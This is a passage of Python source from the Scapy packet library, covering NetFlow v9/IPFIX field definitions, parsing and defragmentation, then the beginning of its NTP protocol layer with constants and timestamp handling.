"DST_PROC_AVERAGE_CPU_LOAD", 390 + NTOP_BASE: "DST_PROC_NUM_PAGE_FAULTS", 391 + NTOP_BASE: "DURATION_IN", 392 + NTOP_BASE: "DURATION_OUT", 393 + NTOP_BASE: "SRC_PROC_PCTG_IOWAIT", 394 + NTOP_BASE: "DST_PROC_PCTG_IOWAIT", 395 + NTOP_BASE: "RTP_DTMF_TONES", 396 + NTOP_BASE: "UNTUNNELED_IPV6_SRC_ADDR", 397 + NTOP_BASE: "UNTUNNELED_IPV6_DST_ADDR", 398 + NTOP_BASE: "DNS_RESPONSE", 399 + NTOP_BASE: "DIAMETER_REQ_MSG_TYPE", 400 + NTOP_BASE: "DIAMETER_RSP_MSG_TYPE", 401 + NTOP_BASE: "DIAMETER_REQ_ORIGIN_HOST", 402 + NTOP_BASE: "DIAMETER_RSP_ORIGIN_HOST", 403 + NTOP_BASE: "DIAMETER_REQ_USER_NAME", 404 + NTOP_BASE: "DIAMETER_RSP_RESULT_CODE", 405 + NTOP_BASE: "DIAMETER_EXP_RES_VENDOR_ID", 406 + NTOP_BASE: "DIAMETER_EXP_RES_RESULT_CODE", 407 + NTOP_BASE: "S1AP_ENB_UE_S1AP_ID", 408 + NTOP_BASE: "S1AP_MME_UE_S1AP_ID", 409 + NTOP_BASE: "S1AP_MSG_EMM_TYPE_MME_TO_ENB", 410 + NTOP_BASE: "S1AP_MSG_ESM_TYPE_MME_TO_ENB", 411 + NTOP_BASE: "S1AP_MSG_EMM_TYPE_ENB_TO_MME", 412 + NTOP_BASE: "S1AP_MSG_ESM_TYPE_ENB_TO_MME", 413 + NTOP_BASE: "S1AP_CAUSE_ENB_TO_MME", 414 + NTOP_BASE: "S1AP_DETAILED_CAUSE_ENB_TO_MME", 415 + NTOP_BASE: "TCP_WIN_MIN_IN", 416 + NTOP_BASE: "TCP_WIN_MAX_IN", 417 + NTOP_BASE: "TCP_WIN_MSS_IN", 418 + NTOP_BASE: "TCP_WIN_SCALE_IN", 419 + NTOP_BASE: "TCP_WIN_MIN_OUT", 420 + NTOP_BASE: "TCP_WIN_MAX_OUT", 421 + NTOP_BASE: "TCP_WIN_MSS_OUT", 422 + NTOP_BASE: "TCP_WIN_SCALE_OUT", 423 + NTOP_BASE: "DHCP_REMOTE_ID", 424 + NTOP_BASE: "DHCP_SUBSCRIBER_ID", 425 + NTOP_BASE: "SRC_PROC_UID", 426 + NTOP_BASE: "DST_PROC_UID", 427 + NTOP_BASE: "APPLICATION_NAME", 428 + NTOP_BASE: "USER_NAME", 429 + NTOP_BASE: "DHCP_MESSAGE_TYPE", 430 + NTOP_BASE: "RTP_IN_PKT_DROP", 431 + NTOP_BASE: "RTP_OUT_PKT_DROP", 432 + NTOP_BASE: "RTP_OUT_MOS", 433 + NTOP_BASE: "RTP_OUT_R_FACTOR", 434 + NTOP_BASE: "RTP_MOS", 435 + NTOP_BASE: "GTPV2_S5_S8_GTPC_TEID", 436 + NTOP_BASE: "RTP_R_FACTOR", 437 + NTOP_BASE: "RTP_SSRC", 438 + NTOP_BASE: "PAYLOAD_HASH", 439 + NTOP_BASE: "GTPV2_C2S_S5_S8_GTPU_TEID", 440 + NTOP_BASE: "GTPV2_S2C_S5_S8_GTPU_TEID", 441 + NTOP_BASE: "GTPV2_C2S_S5_S8_GTPU_IP", 442 + NTOP_BASE: "GTPV2_S2C_S5_S8_GTPU_IP", 443 + NTOP_BASE: "SRC_AS_MAP", 444 + NTOP_BASE: "DST_AS_MAP", 445 + NTOP_BASE: "DIAMETER_HOP_BY_HOP_ID", 446 + NTOP_BASE: "UPSTREAM_SESSION_ID", 447 + NTOP_BASE: "DOWNSTREAM_SESSION_ID", 448 + NTOP_BASE: "SRC_IP_LONG", 449 + NTOP_BASE: "SRC_IP_LAT", 450 + NTOP_BASE: "DST_IP_LONG", 451 + NTOP_BASE: "DST_IP_LAT", 452 + NTOP_BASE: "DIAMETER_CLR_CANCEL_TYPE", 453 + NTOP_BASE: "DIAMETER_CLR_FLAGS", 454 + NTOP_BASE: "GTPV2_C2S_S5_S8_GTPC_IP", 455 + NTOP_BASE: "GTPV2_S2C_S5_S8_GTPC_IP", 456 + NTOP_BASE: "GTPV2_C2S_S5_S8_SGW_GTPU_TEID", 457 + NTOP_BASE: "GTPV2_S2C_S5_S8_SGW_GTPU_TEID", 458 + NTOP_BASE: "GTPV2_C2S_S5_S8_SGW_GTPU_IP", 459 + NTOP_BASE: "GTPV2_S2C_S5_S8_SGW_GTPU_IP", 460 + NTOP_BASE: "HTTP_X_FORWARDED_FOR", 461 + NTOP_BASE: "HTTP_VIA", 462 + NTOP_BASE: "SSDP_HOST", 463 + NTOP_BASE: "SSDP_USN", 464 + NTOP_BASE: "NETBIOS_QUERY_NAME", 465 + NTOP_BASE: "NETBIOS_QUERY_TYPE", 466 + NTOP_BASE: "NETBIOS_RESPONSE", 467 + NTOP_BASE: "NETBIOS_QUERY_OS", 468 + NTOP_BASE: "SSDP_SERVER", 469 + NTOP_BASE: "SSDP_TYPE", 470 + NTOP_BASE: "SSDP_METHOD", 471 + NTOP_BASE: "NPROBE_IPV4_ADDRESS", } ScopeFieldTypes = { 1: "System", 2: "Interface", 3: "Line card", 4: "Cache", 5: "Template", } NetflowV9TemplateFieldDefaultLengths = { 1: 4, 2: 4, 3: 4, 4: 1, 5: 1, 6: 1, 7: 2, 8: 4, 9: 1, 10: 2, 11: 2, 12: 4, 13: 1, 14: 2, 15: 4, 16: 2, 17: 2, 18: 4, 19: 4, 20: 4, 21: 4, 22: 4, 23: 4, 24: 4, 27: 16, 28: 16, 29: 1, 30: 1, 31: 3, 32: 2, 33: 1, 34: 4, 35: 1, 36: 2, 37: 2, 38: 1, 39: 1, 40: 4, 41: 4, 42: 4, 46: 1, 47: 4, 48: 4, # from ERRATA 49: 1, 50: 4, 55: 1, 56: 6, 57: 6, 58: 2, 59: 2, 60: 1, 61: 1, 62: 16, 63: 16, 64: 4, 70: 3, 71: 3, 72: 3, 73: 3, 74: 3, 75: 3, 76: 3, 77: 3, 78: 3, 79: 3, } # NetflowV9 Ready-made fields class ShortOrInt(IntField): def getfield(self, pkt, x): if len(x) == 2: Field.__init__(self, self.name, self.default, fmt="!H") return Field.getfield(self, pkt, x) class _AdjustableNetflowField(IntField, LongField): """Fields that can receive a length kwarg, even though they normally can't. Netflow usage only.""" def __init__(self, name, default, length): if length == 4: IntField.__init__(self, name, default) return elif length == 8: LongField.__init__(self, name, default) return LongField.__init__(self, name, default) class N9SecondsIntField(SecondsIntField, _AdjustableNetflowField): """Defines dateTimeSeconds (without EPOCH: just seconds)""" def __init__(self, name, default, *args, **kargs): length = kargs.pop("length", 8) SecondsIntField.__init__(self, name, default, *args, **kargs) _AdjustableNetflowField.__init__( self, name, default, length ) class N9UTCTimeField(UTCTimeField, _AdjustableNetflowField): """Defines dateTimeSeconds (EPOCH)""" def __init__(self, name, default, *args, **kargs): length = kargs.pop("length", 8) UTCTimeField.__init__(self, name, default, *args, **kargs) _AdjustableNetflowField.__init__( self, name, default, length ) # TODO: There are hundreds of entries to add to the following :( # https://tools.ietf.org/html/rfc5655 # ==> feel free to contribute :D NetflowV9TemplateFieldDecoders = { # Only contains fields that have a fixed length # ID: Field, # or # ID: (Field, [*optional_parameters]), 4: (ByteEnumField, [IP_PROTOS]), # PROTOCOL 5: XByteField, # TOS 6: ByteField, # TCP_FLAGS 7: ShortField, # L4_SRC_PORT 8: IPField, # IPV4_SRC_ADDR 9: ByteField, # SRC_MASK 11: ShortField, # L4_DST_PORT 12: IPField, # IPV4_DST_PORT 13: ByteField, # DST_MASK 15: IPField, # IPv4_NEXT_HOP 16: ShortOrInt, # SRC_AS 17: ShortOrInt, # DST_AS 18: IPField, # BGP_IPv4_NEXT_HOP 21: (SecondsIntField, [True]), # LAST_SWITCHED 22: (SecondsIntField, [True]), # FIRST_SWITCHED 27: IP6Field, # IPV6_SRC_ADDR 28: IP6Field, # IPV6_DST_ADDR 29: ByteField, # IPV6_SRC_MASK 30: ByteField, # IPV6_DST_MASK 31: ThreeBytesField, # IPV6_FLOW_LABEL 32: XShortField, # ICMP_TYPE 33: ByteField, # MUL_IGMP_TYPE 34: IntField, # SAMPLING_INTERVAL 35: XByteField, # SAMPLING_ALGORITHM 36: ShortField, # FLOW_ACTIVE_TIMEOUT 37: ShortField, # FLOW_ACTIVE_TIMEOUT 38: ByteField, # ENGINE_TYPE 39: ByteField, # ENGINE_ID 46: (ByteEnumField, [{0x00: "UNKNOWN", 0x01: "TE-MIDPT", 0x02: "ATOM", 0x03: "VPN", 0x04: "BGP", 0x05: "LDP"}]), # MPLS_TOP_LABEL_TYPE # noqa: E501 47: IPField, # MPLS_TOP_LABEL_IP_ADDR 48: ByteField, # FLOW_SAMPLER_ID 49: ByteField, # FLOW_SAMPLER_MODE 50: IntField, # FLOW_SAMPLER_RANDOM_INTERVAL 55: XByteField, # DST_TOS 56: MACField, # SRC_MAC 57: MACField, # DST_MAC 58: ShortField, # SRC_VLAN 59: ShortField, # DST_VLAN 60: ByteField, # IP_PROTOCOL_VERSION 61: (ByteEnumField, [{0x00: "Ingress flow", 0x01: "Egress flow"}]), # DIRECTION # noqa: E501 62: IP6Field, # IPV6_NEXT_HOP 63: IP6Field, # BGP_IPV6_NEXT_HOP 130: IPField, # exporterIPv4Address 131: IP6Field, # exporterIPv6Address 150: N9UTCTimeField, # flowStartSeconds 151: N9UTCTimeField, # flowEndSeconds 152: (N9UTCTimeField, [True]), # flowStartMilliseconds 153: (N9UTCTimeField, [True]), # flowEndMilliseconds 154: (N9UTCTimeField, [False, True]), # flowStartMicroseconds 155: (N9UTCTimeField, [False, True]), # flowEndMicroseconds 156: (N9UTCTimeField, [False, False, True]), # flowStartNanoseconds 157: (N9UTCTimeField, [False, False, True]), # flowEndNanoseconds 158: (N9SecondsIntField, [False, True]), # flowStartDeltaMicroseconds 159: (N9SecondsIntField, [False, True]), # flowEndDeltaMicroseconds 160: (N9UTCTimeField, [True]), # systemInitTimeMilliseconds 161: (N9SecondsIntField, [True]), # flowDurationMilliseconds 162: (N9SecondsIntField, [False, True]), # flowDurationMicroseconds 211: IPField, # collectorIPv4Address 212: IP6Field, # collectorIPv6Address 225: IPField, # postNATSourceIPv4Address 226: IPField, # postNATDestinationIPv4Address 258: (N9SecondsIntField, [True]), # collectionTimeMilliseconds 260: N9SecondsIntField, # maxExportSeconds 261: N9SecondsIntField, # maxFlowEndSeconds 264: N9SecondsIntField, # minExportSeconds 265: N9SecondsIntField, # minFlowStartSeconds 268: (N9UTCTimeField, [False, True]), # maxFlowEndMicroseconds 269: (N9UTCTimeField, [True]), # maxFlowEndMilliseconds 270: (N9UTCTimeField, [False, False, True]), # maxFlowEndNanoseconds 271: (N9UTCTimeField, [False, True]), # minFlowStartMicroseconds 272: (N9UTCTimeField, [True]), # minFlowStartMilliseconds 273: (N9UTCTimeField, [False, False, True]), # minFlowStartNanoseconds 279: N9SecondsIntField, # connectionSumDurationSeconds 281: IP6Field, # postNATSourceIPv6Address 282: IP6Field, # postNATDestinationIPv6Address 322: N9UTCTimeField, # observationTimeSeconds 323: (N9UTCTimeField, [True]), # observationTimeMilliseconds 324: (N9UTCTimeField, [False, True]), # observationTimeMicroseconds 325: (N9UTCTimeField, [False, False, True]), # observationTimeNanoseconds 365: MACField, # staMacAddress 366: IPField, # staIPv4Address 367: MACField, # wtpMacAddress 380: IPField, # distinctCountOfSourceIPv4Address 381: IPField, # distinctCountOfDestinationIPv4Address 382: IP6Field, # distinctCountOfSourceIPv6Address 383: IP6Field, # distinctCountOfDestinationIPv6Address 403: IPField, # originalExporterIPv4Address 404: IP6Field, # originalExporterIPv6Address 414: MACField, # dot1qCustomerSourceMacAddress 415: MACField, # dot1qCustomerDestinationMacAddress 432: IPField, # pseudoWireDestinationIPv4Address 24632: IPField, # NAT_LOG_FIELD_IDX_IPV4_INT_ADDR 24633: IPField, # NAT_LOG_FIELD_IDX_IPV4_EXT_ADDR 40001: IPField, # XLATE_SRC_ADDR_IPV4 40002: IPField, # XLATE_DST_ADDR_IPV4 114 + NTOP_BASE: IPField, # UNTUNNELED_IPV4_SRC_ADDR 116 + NTOP_BASE: IPField, # UNTUNNELED_IPV4_DST_ADDR 143 + NTOP_BASE: IPField, # SIP_RTP_IPV4_SRC_ADDR 145 + NTOP_BASE: IPField, # SIP_RTP_IPV4_DST_ADDR 353 + NTOP_BASE: MACField, # DHCP_CLIENT_MAC 396 + NTOP_BASE: IP6Field, # UNTUNNELED_IPV6_SRC_ADDR 397 + NTOP_BASE: IP6Field, # UNTUNNELED_IPV6_DST_ADDR 471 + NTOP_BASE: IPField, # NPROBE_IPV4_ADDRESS } class NetflowHeaderV9(Packet): name = "Netflow Header V9" fields_desc = [ShortField("count", None), IntField("sysUptime", 0), UTCTimeField("unixSecs", None), IntField("packageSequence", 0), IntField("SourceID", 0)] def post_build(self, pkt, pay): if self.count is None: count = sum(1 for x in self.layers() if x in [ NetflowFlowsetV9, NetflowDataflowsetV9, NetflowOptionsFlowsetV9] ) pkt = struct.pack("!H", count) + pkt[2:] return pkt + pay # https://tools.ietf.org/html/rfc5655#appendix-B.1.1 class NetflowHeaderV10(Packet): """IPFix (Netflow V10) Header""" name = "IPFix (Netflow V10) Header" fields_desc = [ShortField("length", None), UTCTimeField("ExportTime", 0), IntField("flowSequence", 0), IntField("ObservationDomainID", 0)] def post_build(self, pkt, pay): if self.length is None: length = len(pkt) + len(pay) pkt = struct.pack("!H", length) + pkt[2:] return pkt + pay class NetflowTemplateFieldV9(Packet): name = "Netflow Flowset Template Field V9/10" fields_desc = [BitField("enterpriseBit", 0, 1), BitEnumField("fieldType", None, 15, NetflowV910TemplateFieldTypes), ShortField("fieldLength", 0), ConditionalField(IntField("enterpriseNumber", 0), lambda p: p.enterpriseBit)] def __init__(self, *args, **kwargs): Packet.__init__(self, *args, **kwargs) if self.fieldType is not None and not self.fieldLength and self.fieldType in NetflowV9TemplateFieldDefaultLengths: # noqa: E501 self.fieldLength = NetflowV9TemplateFieldDefaultLengths[self.fieldType] # noqa: E501 def default_payload_class(self, p): return conf.padding_layer class NetflowTemplateV9(Packet): name = "Netflow Flowset Template V9/10" fields_desc = [ShortField("templateID", 255), FieldLenField("fieldCount", None, count_of="template_fields"), # noqa: E501 PacketListField("template_fields", [], NetflowTemplateFieldV9, # noqa: E501 count_from=lambda pkt: pkt.fieldCount)] def default_payload_class(self, p): return conf.padding_layer class NetflowFlowsetV9(Packet): name = "Netflow FlowSet V9/10" fields_desc = [ShortField("flowSetID", 0), FieldLenField("length", None, length_of="templates", adjust=lambda pkt, x:x + 4), PacketListField("templates", [], NetflowTemplateV9, length_from=lambda pkt: pkt.length - 4)] class _CustomStrFixedLenField(StrFixedLenField): def i2repr(self, pkt, v): return repr(v) def _GenNetflowRecordV9(cls, lengths_list): """Internal function used to generate the Records from their template. """ _fields_desc = [] for j, k in lengths_list: _f_data = NetflowV9TemplateFieldDecoders.get(k, None) _f_type, _f_args = ( _f_data if isinstance(_f_data, tuple) else (_f_data, []) ) _f_kwargs = {} if _f_type: if issubclass(_f_type, _AdjustableNetflowField): _f_kwargs["length"] = j _fields_desc.append( _f_type( NetflowV910TemplateFieldTypes.get(k, "unknown_data"), 0, *_f_args, **_f_kwargs ) ) else: _fields_desc.append( _CustomStrFixedLenField( NetflowV910TemplateFieldTypes.get(k, "unknown_data"), b"", length=j ) ) # This will act exactly like a NetflowRecordV9, but has custom fields class NetflowRecordV9I(cls): fields_desc = _fields_desc match_subclass = True NetflowRecordV9I.name = cls.name NetflowRecordV9I.__name__ = cls.__name__ return NetflowRecordV9I def GetNetflowRecordV9(flowset, templateID=None): """ Get a NetflowRecordV9/10 for a specific NetflowFlowsetV9/10. Have a look at the online doc for examples. """ definitions = {} for ntv9 in flowset.templates: llist = [] for tmpl in ntv9.template_fields: llist.append((tmpl.fieldLength, tmpl.fieldType)) if llist: cls = _GenNetflowRecordV9(NetflowRecordV9, llist) definitions[ntv9.templateID] = cls if not definitions: raise Scapy_Exception( "No template IDs detected" ) if len(definitions) > 1: if templateID is None: raise Scapy_Exception( "Multiple possible templates ! Specify templateID=.." ) return definitions[templateID] else: return list(definitions.values())[0] class NetflowRecordV9(Packet): name = "Netflow DataFlowset Record V9/10" fields_desc = [StrField("fieldValue", "")] def default_payload_class(self, p): return conf.padding_layer class NetflowDataflowsetV9(Packet): name = "Netflow DataFlowSet V9/10" fields_desc = [ShortField("templateID", 255), FieldLenField("length", None, length_of="records", adjust=lambda pkt, x: x + 4 + (-x % 4)), PadField( PacketListField( "records", [], NetflowRecordV9, length_from=lambda pkt: pkt.length - 4 ), 4, padwith=b"\x00")] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt: # https://tools.ietf.org/html/rfc5655#appendix-B.1.2 # NetflowV9 if _pkt[:2] == b"\x00\x00": return NetflowFlowsetV9 if _pkt[:2] == b"\x00\x01": return NetflowOptionsFlowsetV9 # IPFix if _pkt[:2] == b"\x00\x02": return NetflowFlowsetV9 if _pkt[:2] == b"\x00\x03": return NetflowOptionsFlowset10 return cls def _netflowv9_defragment_packet(pkt, definitions, definitions_opts, ignored): """Used internally to process a single packet during defragmenting""" # Dataflowset definitions if NetflowFlowsetV9 in pkt: current = pkt while NetflowFlowsetV9 in current: current = current[NetflowFlowsetV9] for ntv9 in current.templates: llist = [] for tmpl in ntv9.template_fields: llist.append((tmpl.fieldLength, tmpl.fieldType)) if llist: tot_len = sum(x[0] for x in llist) cls = _GenNetflowRecordV9(NetflowRecordV9, llist) definitions[ntv9.templateID] = (tot_len, cls) current = current.payload # Options definitions if NetflowOptionsFlowsetV9 in pkt: current = pkt while NetflowOptionsFlowsetV9 in current: current = current[NetflowOptionsFlowsetV9] # Load scopes llist = [] for scope in current.scopes: llist.append(( scope.scopeFieldlength, scope.scopeFieldType )) scope_tot_len = sum(x[0] for x in llist) scope_cls = _GenNetflowRecordV9( NetflowOptionsRecordScopeV9, llist ) # Load options llist = [] for opt in current.options: llist.append(( opt.optionFieldlength, opt.optionFieldType )) option_tot_len = sum(x[0] for x in llist) option_cls = _GenNetflowRecordV9( NetflowOptionsRecordOptionV9, llist ) # Storage definitions_opts[current.templateID] = ( scope_tot_len, scope_cls, option_tot_len, option_cls ) current = current.payload # Dissect flowsets if NetflowDataflowsetV9 in pkt: datafl = pkt[NetflowDataflowsetV9] tid = datafl.templateID if tid not in definitions and tid not in definitions_opts: ignored.add(tid) return # All data is stored in one record, awaiting to be split # If fieldValue is available, the record has not been # defragmented: pop it try: data = datafl.records[0].fieldValue datafl.records.pop(0) except (IndexError, AttributeError): return res = [] # Flowset record # Now, according to the flow/option data, # let's re-dissect NetflowDataflowsetV9 if tid in definitions: tot_len, cls = definitions[tid] while len(data) >= tot_len: res.append(cls(data[:tot_len])) data = data[tot_len:] # Inject dissected data datafl.records = res if data: if len(data) <= 4: datafl.add_payload(conf.padding_layer(data)) else: datafl.do_dissect_payload(data) # Options elif tid in definitions_opts: (scope_len, scope_cls, option_len, option_cls) = definitions_opts[tid] # Dissect scopes if scope_len: res.append(scope_cls(data[:scope_len])) if option_len: res.append( option_cls(data[scope_len:scope_len + option_len]) ) if len(data) > scope_len + option_len: res.append( conf.padding_layer(data[scope_len + option_len:]) ) # Inject dissected data datafl.records = res datafl.name = "Netflow DataFlowSet V9/10 - OPTIONS" def netflowv9_defragment(plist, verb=1): """Process all NetflowV9/10 Packets to match IDs of the DataFlowsets with the Headers params: - plist: the list of mixed NetflowV9/10 packets. - verb: verbose print (0/1) """ if not isinstance(plist, (PacketList, list)): plist = [plist] # We need the whole packet to be dissected to access field def in # NetflowFlowsetV9 or NetflowOptionsFlowsetV9/10 definitions = {} definitions_opts = {} ignored = set() # Iterate through initial list for pkt in plist: _netflowv9_defragment_packet(pkt, definitions, definitions_opts, ignored) if conf.verb >= 1 and ignored: warning("Ignored templateIDs (missing): %s" % list(ignored)) return plist def ipfix_defragment(*args, **kwargs): """Alias for netflowv9_defragment""" return netflowv9_defragment(*args, **kwargs) class NetflowSession(IPSession): """Session used to defragment NetflowV9/10 packets on the flow. See help(scapy.layers.netflow) for more infos. """ def __init__(self, *args, **kwargs): IPSession.__init__(self, *args, **kwargs) self.definitions = {} self.definitions_opts = {} self.ignored = set() def _process_packet(self, pkt): _netflowv9_defragment_packet(pkt, self.definitions, self.definitions_opts, self.ignored) return pkt def on_packet_received(self, pkt): # First, defragment IP if necessary pkt = self._ip_process_packet(pkt) # Now handle NetflowV9 defragmentation pkt = self._process_packet(pkt) DefaultSession.on_packet_received(self, pkt) class NetflowOptionsRecordScopeV9(NetflowRecordV9): name = "Netflow Options Template Record V9/10 - Scope" class NetflowOptionsRecordOptionV9(NetflowRecordV9): name = "Netflow Options Template Record V9/10 - Option" # Aka Set class NetflowOptionsFlowsetOptionV9(Packet): name = "Netflow Options Template FlowSet V9/10 - Option" fields_desc = [BitField("enterpriseBit", 0, 1), BitEnumField("optionFieldType", None, 15, NetflowV910TemplateFieldTypes), ShortField("optionFieldlength", 0), ConditionalField(ShortField("enterpriseNumber", 0), lambda p: p.enterpriseBit)] def default_payload_class(self, p): return conf.padding_layer # Aka Set class NetflowOptionsFlowsetScopeV9(Packet): name = "Netflow Options Template FlowSet V9/10 - Scope" fields_desc = [ShortEnumField("scopeFieldType", None, ScopeFieldTypes), ShortField("scopeFieldlength", 0)] def default_payload_class(self, p): return conf.padding_layer class NetflowOptionsFlowsetV9(Packet): name = "Netflow Options Template FlowSet V9" fields_desc = [ShortField("flowSetID", 1), ShortField("length", None), ShortField("templateID", 255), FieldLenField("option_scope_length", None, length_of="scopes"), FieldLenField("option_field_length", None, length_of="options"), # We can't use PadField as we have 2 PacketListField PacketListField( "scopes", [], NetflowOptionsFlowsetScopeV9, length_from=lambda pkt: pkt.option_scope_length), PacketListField( "options", [], NetflowOptionsFlowsetOptionV9, length_from=lambda pkt: pkt.option_field_length), StrLenField("pad", None, length_from=lambda pkt: ( pkt.length - pkt.option_scope_length - pkt.option_field_length - 10))] def default_payload_class(self, p): return conf.padding_layer def post_build(self, pkt, pay): if self.length is None: pkt = pkt[:2] + struct.pack("!H", len(pkt)) + pkt[4:] if self.pad is None: # Padding 4-bytes with b"\x00" start = 10 + self.option_scope_length + self.option_field_length pkt = pkt[:start] + (-len(pkt) % 4) * b"\x00" return pkt + pay # https://tools.ietf.org/html/rfc5101#section-3.4.2.2 class NetflowOptionsFlowset10(NetflowOptionsFlowsetV9): """Netflow V10 (IPFix) Options Template FlowSet""" name = "Netflow V10 (IPFix) Options Template FlowSet" fields_desc = [ShortField("flowSetID", 3), ShortField("length", None), ShortField("templateID", 255), # Slightly different counting than in its NetflowV9 # counterpart: we count the total, and among them which # ones are scopes. Also, it's count, not length FieldLenField("field_count", None, count_of="options", adjust=lambda pkt, x: ( x + pkt.get_field( "scope_field_count").i2m(pkt, None))), FieldLenField("scope_field_count", None, count_of="scopes"), # We can't use PadField as we have 2 PacketListField PacketListField( "scopes", [], NetflowOptionsFlowsetScopeV9, count_from=lambda pkt: pkt.scope_field_count), PacketListField( "options", [], NetflowOptionsFlowsetOptionV9, count_from=lambda pkt: ( pkt.field_count - pkt.scope_field_count )), StrLenField("pad", None, length_from=lambda pkt: ( pkt.length - (pkt.scope_field_count * 4) - 10))] def post_build(self, pkt, pay): if self.length is None: pkt = pkt[:2] + struct.pack("!H", len(pkt)) + pkt[4:] if self.pad is None: # Padding 4-bytes with b"\x00" start = 10 + self.scope_field_count * 4 pkt = pkt[:start] + (-len(pkt) % 4) * b"\x00" return pkt + pay bind_layers(NetflowHeader, NetflowHeaderV9, version=9) bind_layers(NetflowHeaderV9, NetflowDataflowsetV9) bind_layers(NetflowDataflowsetV9, NetflowDataflowsetV9) bind_layers(NetflowOptionsFlowsetV9, NetflowDataflowsetV9) bind_layers(NetflowFlowsetV9, NetflowDataflowsetV9) # Apart from the first header, IPFix and NetflowV9 have the same format # (except the Options Template) # https://tools.ietf.org/html/rfc5655#appendix-B.1.2 bind_layers(NetflowHeader, NetflowHeaderV10, version=10) bind_layers(NetflowHeaderV10, NetflowDataflowsetV9) scapy-2.4.4/scapy/layers/ntp.py000066400000000000000000001555621372370053500164540ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ NTP (Network Time Protocol). References : RFC 5905, RC 1305, ntpd source code """ from __future__ import absolute_import import struct import time import datetime from scapy.packet import Packet, bind_layers from scapy.fields import BitField, BitEnumField, ByteField, ByteEnumField, \ XByteField, SignedByteField, FlagsField, ShortField, LEShortField, \ IntField, LEIntField, FixedPointField, IPField, StrField, \ StrFixedLenField, StrFixedLenEnumField, XStrFixedLenField, PacketField, \ PacketLenField, PacketListField, FieldListField, ConditionalField, \ PadField from scapy.layers.inet6 import IP6Field from scapy.layers.inet import UDP from scapy.utils import lhex from scapy.compat import orb from scapy.config import conf import scapy.modules.six as six from scapy.modules.six.moves import range ############################################################################# # Constants ############################################################################# _NTP_AUTH_MD5_MIN_SIZE = 68 _NTP_EXT_MIN_SIZE = 16 _NTP_HDR_WITH_EXT_MIN_SIZE = _NTP_AUTH_MD5_MIN_SIZE + _NTP_EXT_MIN_SIZE _NTP_AUTH_MD5_TAIL_SIZE = 20 _NTP_AUTH_MD5_DGST_SIZE = 16 _NTP_PRIVATE_PACKET_MIN_SIZE = 8 # ntpd "Private" messages are the shortest _NTP_PACKET_MIN_SIZE = _NTP_PRIVATE_PACKET_MIN_SIZE _NTP_PRIVATE_REQ_PKT_TAIL_LEN = 28 # seconds between 01-01-1900 and 01-01-1970 _NTP_BASETIME = 2208988800 # include/ntp.h _NTP_SHIFT = 8 _NTP_HASH_SIZE = 128 ############################################################################# # Fields and utilities ############################################################################# class XLEShortField(LEShortField): """ XShortField which value is encoded in little endian. """ def i2repr(self, pkt, x): return lhex(self.i2h(pkt, x)) class TimeStampField(FixedPointField): """ This field handles the timestamp fields in the NTP header. """ def __init__(self, name, default): FixedPointField.__init__(self, name, default, 64, 32) def i2repr(self, pkt, val): if val is None: return "--" val = self.i2h(pkt, val) if val < _NTP_BASETIME: return val return time.strftime("%a, %d %b %Y %H:%M:%S +0000", time.gmtime(val - _NTP_BASETIME)) # noqa: E501 def any2i(self, pkt, val): if isinstance(val, six.string_types): val = int(time.mktime(time.strptime(val))) + _NTP_BASETIME elif isinstance(val, datetime.datetime): val = int(val.strftime("%s")) + _NTP_BASETIME return FixedPointField.any2i(self, pkt, val) def i2m(self, pkt, val): if val is None: val = FixedPointField.any2i(self, pkt, time.time() + _NTP_BASETIME) return FixedPointField.i2m(self, pkt, val) ############################################################################# # NTP ############################################################################# # RFC 5905 / Section 7.3 _leap_indicator = { 0: "no warning", 1: "last minute of the day has 61 seconds", 2: "last minute of the day has 59 seconds", 3: "unknown (clock unsynchronized)" } # RFC 5905 / Section 7.3 _ntp_modes = { 0: "reserved", 1: "symmetric active", 2: "symmetric passive", 3: "client", 4: "server", 5: "broadcast", 6: "NTP control message", 7: "reserved for private use" } # RFC 5905 / Section 7.3 _reference_identifiers = { "GOES": "Geosynchronous Orbit Environment Satellite", "GPS ": "Global Position System", "GAL ": "Galileo Positioning System", "PPS ": "Generic pulse-per-second", "IRIG": "Inter-Range Instrumentation Group", "WWVB": "LF Radio WWVB Ft. Collins, CO 60 kHz", "DCF ": "LF Radio DCF77 Mainflingen, DE 77.5 kHz", "HBG ": "LF Radio HBG Prangins, HB 75 kHz", "MSF ": "LF Radio MSF Anthorn, UK 60 kHz", "JJY ": "LF Radio JJY Fukushima, JP 40 kHz, Saga, JP 60 kHz", "LORC": "MF Radio LORAN C station, 100 kHz", "TDF ": "MF Radio Allouis, FR 162 kHz", "CHU ": "HF Radio CHU Ottawa, Ontario", "WWV ": "HF Radio WWV Ft. Collins, CO", "WWVH": "HF Radio WWVH Kauai, HI", "NIST": "NIST telephone modem", "ACTS": "NIST telephone modem", "USNO": "USNO telephone modem", "PTB ": "European telephone modem", } # RFC 5905 / Section 7.4 _kiss_codes = { "ACST": "The association belongs to a unicast server.", "AUTH": "Server authentication failed.", "AUTO": "Autokey sequence failed.", "BCST": "The association belongs to a broadcast server.", "CRYP": "Cryptographic authentication or identification failed.", "DENY": "Access denied by remote server.", "DROP": "Lost peer in symmetric mode.", "RSTR": "Access denied due to local policy.", "INIT": "The association has not yet synchronized for the first time.", "MCST": "The association belongs to a dynamically discovered server.", "NKEY": "No key found.", "RATE": "Rate exceeded.", "RMOT": "Alteration of association from a remote host running ntpdc." } # Used by _ntp_dispatcher to instantiate the appropriate class def _ntp_dispatcher(payload): """ Returns the right class for a given NTP packet. """ # By default, calling NTP() will build a NTP packet as defined in RFC 5905 # (see the code of NTPHeader). Use NTPHeader for extension fields and MAC. if payload is None: return NTPHeader else: length = len(payload) if length >= _NTP_PACKET_MIN_SIZE: first_byte = orb(payload[0]) # Extract NTP mode mode = first_byte & 7 return {6: NTPControl, 7: NTPPrivate}.get(mode, NTPHeader) return conf.raw_layer class NTP(Packet): """ Base class that allows easier instantiation of a NTP packet from binary data. """ @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): """ Returns the right class for the given data. """ return _ntp_dispatcher(_pkt) def pre_dissect(self, s): """ Check that the payload is long enough to build a NTP packet. """ length = len(s) if length < _NTP_PACKET_MIN_SIZE: err = " ({}".format(length) + " is < _NTP_PACKET_MIN_SIZE " err += "({})).".format(_NTP_PACKET_MIN_SIZE) raise _NTPInvalidDataException(err) return s def mysummary(self): return self.sprintf("NTP v%ir,NTP.version%, %NTP.mode%") class _NTPAuthenticatorPaddingField(StrField): """ StrField handling the padding that may be found before the 